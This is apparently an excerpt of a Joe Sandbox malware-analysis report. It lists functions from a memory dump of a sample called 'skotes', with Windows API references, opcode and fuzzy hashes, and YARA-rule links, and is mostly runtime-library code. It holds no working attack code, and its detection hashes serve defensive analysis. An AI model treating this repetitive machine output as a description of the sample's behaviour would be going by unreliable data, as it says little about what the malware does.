Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: CatchEncodePointer
String ID: MOC$RCC
API String ID: 1435073870-2084237596
Opcode ID: 75fc3a4a8a64bb1bea96a63a2457cd1c3fb9c619fe9d6e5f484e843e4d4eca95
Instruction ID: 10bb565b4ad3f52b6227151d42654c861dd923dccd797da5828e9f3ee1b076bc
Opcode Fuzzy Hash: 75fc3a4a8a64bb1bea96a63a2457cd1c3fb9c619fe9d6e5f484e843e4d4eca95
Instruction Fuzzy Hash: AA418B71900609EFDF1ACF98CC81AEEBBB6FF58304F148159F91867261D375A950DB90

Function 0016AE65 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

List.LIBCONCRT ref: 0016AEEA
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0016AF0F
Concurrency::details::FreeVirtualProcessorRoot::FreeVirtualProcessorRoot.LIBCONCRT ref: 0016AF4E

Strings

pExecutionResource, xrefs: 0016AF07

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: FreeProcessorVirtual$Concurrency::details::ListRootRoot::std::invalid_argument::invalid_argument
String ID: pExecutionResource
API String ID: 1772865662-359481074
Opcode ID: e162817888efeadc24b3a939e2fb0ced95a3aabfc389537333bb9343a83ea226
Instruction ID: 956947f2990c539b0d81d762e2d43733430630ab85865cdf302b488b0924fc03
Opcode Fuzzy Hash: e162817888efeadc24b3a939e2fb0ced95a3aabfc389537333bb9343a83ea226
Instruction Fuzzy Hash: D1219975A40205EFCF04EFA4C852BADB7B5BF58314F50405DF915AB282DBB0AE15CB91

Function 0017AF48 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMONLIBRARYCODE

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,00000000,001487A0,?,0017AE76,001487A0,0019FCC0,0000000C,0017AF28,0019FB20), ref: 0017AF9E
GetLastError.KERNEL32(?,0017AE76,001487A0,0019FCC0,0000000C,0017AF28,0019FB20), ref: 0017AFA8
__dosmaperr.LIBCMT ref: 0017AFD3

Strings

8>, xrefs: 0017AF62

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: CloseErrorHandleLast__dosmaperr
String ID: 8>
API String ID: 2583163307-867459347
Opcode ID: 059505712c4dde2396e2b8c95ec72d2373c5f00efe6f019f7b3df7ee20b69a80
Instruction ID: bbc238d82cd9c83630b595b3855bd4b3adf735e13f0bdddb5832c1960a219c27
Opcode Fuzzy Hash: 059505712c4dde2396e2b8c95ec72d2373c5f00efe6f019f7b3df7ee20b69a80
Instruction Fuzzy Hash: D60126336441249AC6292334AD06B7E677A4FD2734F79824DF92C871C2DBA18CC152D2

Function 0016A0EE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::GetCurrentThreadExecutionResource.LIBCMT ref: 0016A102
Concurrency::details::ResourceManager::RemoveExecutionResource.LIBCONCRT ref: 0016A126
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0016A139

Strings

pScheduler, xrefs: 0016A131

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: Resource$Concurrency::details::Execution$CurrentManager::Proxy::RemoveSchedulerThreadstd::invalid_argument::invalid_argument
String ID: pScheduler
API String ID: 246774199-923244539
Opcode ID: 63b44bd441ea9ff7c2cba3537240611ba4a07c51a88cd8426d3b95bbb13a14c9
Instruction ID: 3896aa23d87a3c78da1974c7f834e6ef15f86e739fdd1b7caf1ae1ed267c78d9
Opcode Fuzzy Hash: 63b44bd441ea9ff7c2cba3537240611ba4a07c51a88cd8426d3b95bbb13a14c9
Instruction Fuzzy Hash: 30F02E39A40204F7CB25FA54DC83C9EF3789EA1714B50812DF41567181DF71AE16CED2

Function 00147D30 Relevance: 6.4, APIs: 4, Instructions: 422libraryloaderCOMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(0000011C,6CA9583A), ref: 00147DAA
GetModuleHandleA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00147E0B
GetProcAddress.KERNEL32(00000000), ref: 00147E12
GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00147ED7

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: AddressHandleInfoModuleProcSystemVersion
String ID:
API String ID: 1456109104-0
Opcode ID: 22022ef5c1c0e84b06df5a53d64bd30001d1fdec2a7f3773b8652053c69f15ef
Instruction ID: c006972b634b3dc11a2d374667705ef57273beb6b61153ae5860eb747d889bf8
Opcode Fuzzy Hash: 22022ef5c1c0e84b06df5a53d64bd30001d1fdec2a7f3773b8652053c69f15ef
Instruction Fuzzy Hash: E7E12B70E00214DBDB15BF68DC4B39E7B72AB42714F94429CE815AB3E2DB354E858BC2

Function 0017CBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0017CC66

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 59c984e0335d750eb7e229aa4273084cd5aafbd0618d532e588fc2a2f53891da
Instruction ID: ce9f7d693148915650e2c7c376a15b487834300ec9d3d5c900d5faf319f5d18c
Opcode Fuzzy Hash: 59c984e0335d750eb7e229aa4273084cd5aafbd0618d532e588fc2a2f53891da
Instruction Fuzzy Hash: B9B102329046459FDB258F68C8817AEBFF5EF55350F14816EE849EB242D7348E41CBE0

Function 0017504E Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00175115
___AdjustPointer.LIBCMT ref: 00175138
___AdjustPointer.LIBCMT ref: 001751D4

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: f671d1bdb41e509259a5633e0c960154efc014020cf78bf658c8f7f2c2ef7313
Instruction ID: 0ec65c77fa5ed91eff078f56db0e31dbcaaf7c452bc74dd667ff65b575b247a7
Opcode Fuzzy Hash: f671d1bdb41e509259a5633e0c960154efc014020cf78bf658c8f7f2c2ef7313
Instruction Fuzzy Hash: 1E51F571A01A06AFDB298F14D881B7A77B6EF24311F54C52DE81E8B291E7B1ED80C790

Function 00148380 Relevance: 6.2, APIs: 4, Instructions: 155libraryloaderCOMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(0000011C,?,6CA9583A), ref: 001483F9
GetModuleHandleA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00148460
GetProcAddress.KERNEL32(00000000), ref: 00148467

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProcVersion
String ID:
API String ID: 3310240892-0
Opcode ID: 4dd1f21458d6700e923313311e72103814b72abf5026004a3ace333173521416
Instruction ID: 1e5ca000d005d92b8fd1cf3a17713feb43832424939a23193f092bd45f5edac1
Opcode Fuzzy Hash: 4dd1f21458d6700e923313311e72103814b72abf5026004a3ace333173521416
Instruction Fuzzy Hash: E7512570D002049BDB24EB68DD497EDBB75EB45310F5442A9F819AB291EB349AC48B91

Function 00174C15 Relevance: 6.1, APIs: 4, Instructions: 141COMMON

Download Yara Rule

APIs

TypeidsEqual.LIBVCRUNTIME ref: 00174C66
TypeidsEqual.LIBVCRUNTIME ref: 00174C8B
PMDtoOffset.LIBCMT ref: 00174CA1
PMDtoOffset.LIBCMT ref: 00174D22

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: EqualOffsetTypeids
String ID:
API String ID: 1707706676-0
Opcode ID: f8ad74cfaf4da85e0defff2bffeebfbe5beaccf25cb2e0bdfe85511ce37fdb4b
Instruction ID: 40de814cc049b11e6cc6150c9a3c35a7c534938e0931d96a8043948d73b38a46
Opcode Fuzzy Hash: f8ad74cfaf4da85e0defff2bffeebfbe5beaccf25cb2e0bdfe85511ce37fdb4b
Instruction Fuzzy Hash: B451BF35A042499FDF22CFA8C4806EEFBF5EF25354F14849AE898A7351D332AD05CB90

Function 00142EC0 Relevance: 6.1, APIs: 4, Instructions: 132threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00142F5F
GetCurrentThreadId.KERNEL32 ref: 00142F7E
__Mtx_unlock.LIBCPMT ref: 00142FCC
__Cnd_broadcast.LIBCPMT ref: 00142FE3

Part of subcall function 0015C6AC: mtx_do_lock.LIBCPMT ref: 0015C6B4

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcastCurrentThreadmtx_do_lock
String ID:
API String ID: 3471820992-0
Opcode ID: 6d8f32dd56e2ba6c3a7e6758c3e3bda6f5ec3c298225eb36f7f89316aedbdb19
Instruction ID: 3f8c57e0df055021b1bd234c390874c002fc396fb7039ff0057c367899e52bd9
Opcode Fuzzy Hash: 6d8f32dd56e2ba6c3a7e6758c3e3bda6f5ec3c298225eb36f7f89316aedbdb19
Instruction Fuzzy Hash: 0041ADB0900205DFDB209F64C944B5AB7E8FF24321F504629E826DB690EB35EA48CBC1

Function 00185FCE Relevance: 6.1, APIs: 4, Instructions: 132fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0018609E
_free.LIBCMT ref: 001860C7
SetEndOfFile.KERNEL32(00000000,00181A0A,00000000,0017AC92,?,?,?,?,?,?,?,00181A0A,0017AC92,00000000), ref: 001860F9
GetLastError.KERNEL32(?,?,?,?,?,?,?,00181A0A,0017AC92,00000000,?,?,?,?,00000000), ref: 00186115

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: _free$ErrorFileLast
String ID:
API String ID: 1547350101-0
Opcode ID: 3cc5d85591b121315c918463d813984215dac421263dfac4c89a1d98b8b56762
Instruction ID: f870aae8cdbd5090a8c8f8b98302348da3e04e1decdd3185c3b90608ecbf7ce1
Opcode Fuzzy Hash: 3cc5d85591b121315c918463d813984215dac421263dfac4c89a1d98b8b56762
Instruction Fuzzy Hash: 5441B4729006059BDB21BBA8CD46F9E37B5EF94360F244610F928E72D2EB34DE448F65

Function 00162CFC Relevance: 6.1, APIs: 4, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00162D0F

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersConcurrency::details::InitializeManager::Resource
String ID:
API String ID: 3433162309-0
Opcode ID: cb9a519ec3bf20104d6b7f73d44f0ccb6cdf13c8d6689f9fe691ff6607a50e66
Instruction ID: 4bcc8bcd9b007c8613a7d0a6351f7f0b0721531550f58185c6e2b6816e581bf1
Opcode Fuzzy Hash: cb9a519ec3bf20104d6b7f73d44f0ccb6cdf13c8d6689f9fe691ff6607a50e66
Instruction Fuzzy Hash: 5C313475A00709DFCF14EF94C8C0AAEBBB9BF54314F1404AAE945AB246D730AA55DBA0

Function 0017D94F Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 001769CC: _free.LIBCMT ref: 001769DA

Part of subcall function 0017E926: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,?,00000000,00000000,00000000,?,00184DC0,?,00000000,00000000), ref: 0017E9C8

GetLastError.KERNEL32 ref: 0017D9B7
__dosmaperr.LIBCMT ref: 0017D9BE
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 0017D9FD
__dosmaperr.LIBCMT ref: 0017DA04

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: a16599283e3b5a56a645c0aec18fba11b364bdc20f516a36d3e6efcddedae3a2
Instruction ID: bcf3c3d19a6508bfc83b41e4044633a9c90c47678e4c6ffe6e7656856f75d0cb
Opcode Fuzzy Hash: a16599283e3b5a56a645c0aec18fba11b364bdc20f516a36d3e6efcddedae3a2
Instruction Fuzzy Hash: E7219072604609BF9B20AF75AC81D6BB7BDEF143A8710C519F92DA7151E731EC4187A0

Function 00170A98 Relevance: 6.1, APIs: 4, Instructions: 80threadCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?,00000000,?), ref: 00170AE9
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00170AD1

Part of subcall function 00168F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00168F50

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00170B4C
SwitchToThread.KERNEL32(00000005,00000004,00000000,?,?,?,?,?,?,?,0019F4C0), ref: 00170B51

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: Context$Event$Base::Concurrency::details::$Trace$SwitchThreadThrow
String ID:
API String ID: 2734100425-0
Opcode ID: b570d834ade29187528df6f8e8de0b8f993f7e7c804d86deef50b68a23cc272d
Instruction ID: bbdc85c9e5f818d131d7571e6f118a153cb667739001c96909a37e34cbe93cc8
Opcode Fuzzy Hash: b570d834ade29187528df6f8e8de0b8f993f7e7c804d86deef50b68a23cc272d
Instruction Fuzzy Hash: 4621D475600214AFCB11E798CC45D6EB7B9EF4C320F04455AFA16E32D1CB70AD018AA1

Function 00169C95 Relevance: 6.1, APIs: 4, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00169C9C
Concurrency::SchedulerPolicy::_ValidPolicyValue.LIBCONCRT ref: 00169CE8
std::bad_exception::bad_exception.LIBCMT ref: 00169CFE
std::bad_exception::bad_exception.LIBCMT ref: 00169D6A

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: std::bad_exception::bad_exception$Concurrency::H_prolog3_catchPolicyPolicy::_SchedulerValidValue
String ID:
API String ID: 2033596534-0
Opcode ID: ca6622291380111204ffcc581b10910833eb9419981da266896ce2e38d6307f5
Instruction ID: 9c9e1d1ad0c9219d6b132a34893c9e1234e5364087461248dbdbb88babe9556e
Opcode Fuzzy Hash: ca6622291380111204ffcc581b10910833eb9419981da266896ce2e38d6307f5
Instruction Fuzzy Hash: 0721B072900604EFDB04EFA4DD829ADB7B8EF15314B214079F411AF2A2EB31AE16CB51

Function 0017A671 Relevance: 6.1, APIs: 4, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,0017694A,?,?,?,?,00177661,?), ref: 0017A676
_free.LIBCMT ref: 0017A6D3
_free.LIBCMT ref: 0017A709
SetLastError.KERNEL32(00000000,00000006,000000FF,?,?,0017694A,?,?,?,?,00177661,?), ref: 0017A714

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 9fc4a371705e72d0a8179b920b5801d1aa7f5968077be0a6d0a25402b90958dd
Instruction ID: 6ebc952aa99537f1fca1b3fa767eeec4d5bfe4e247880bbc66946cefe7a06601
Opcode Fuzzy Hash: 9fc4a371705e72d0a8179b920b5801d1aa7f5968077be0a6d0a25402b90958dd
Instruction Fuzzy Hash: C1110C322043006FD7162379AC89E2F217D9FD13B5BA9C225F22E875E1EF758C925512

Function 00171332 Relevance: 6.1, APIs: 4, Instructions: 71COMMON

Download Yara Rule

APIs

Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 001713C6
Concurrency::details::ContextBase::AddStealer.LIBCONCRT ref: 00171377

Part of subcall function 0016831B: SafeRWList.LIBCONCRT ref: 0016832C

SafeRWList.LIBCONCRT ref: 001713BC
Concurrency::details::ContextBase::AddStealer.LIBCONCRT ref: 001713DC

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: Base::Concurrency::details::ContextListSafeStealer$AcquireConcurrency::details::_Lock::_ReaderWriteWriter
String ID:
API String ID: 336577199-0
Opcode ID: 78adc7da632be0d4858c8a1083b10a05ac09b12967104665e8178c6579fd5561
Instruction ID: 72992e7899a33e5953cc48b85d473c141ad3794963d8453f2806bb0c0a7d8399
Opcode Fuzzy Hash: 78adc7da632be0d4858c8a1083b10a05ac09b12967104665e8178c6579fd5561
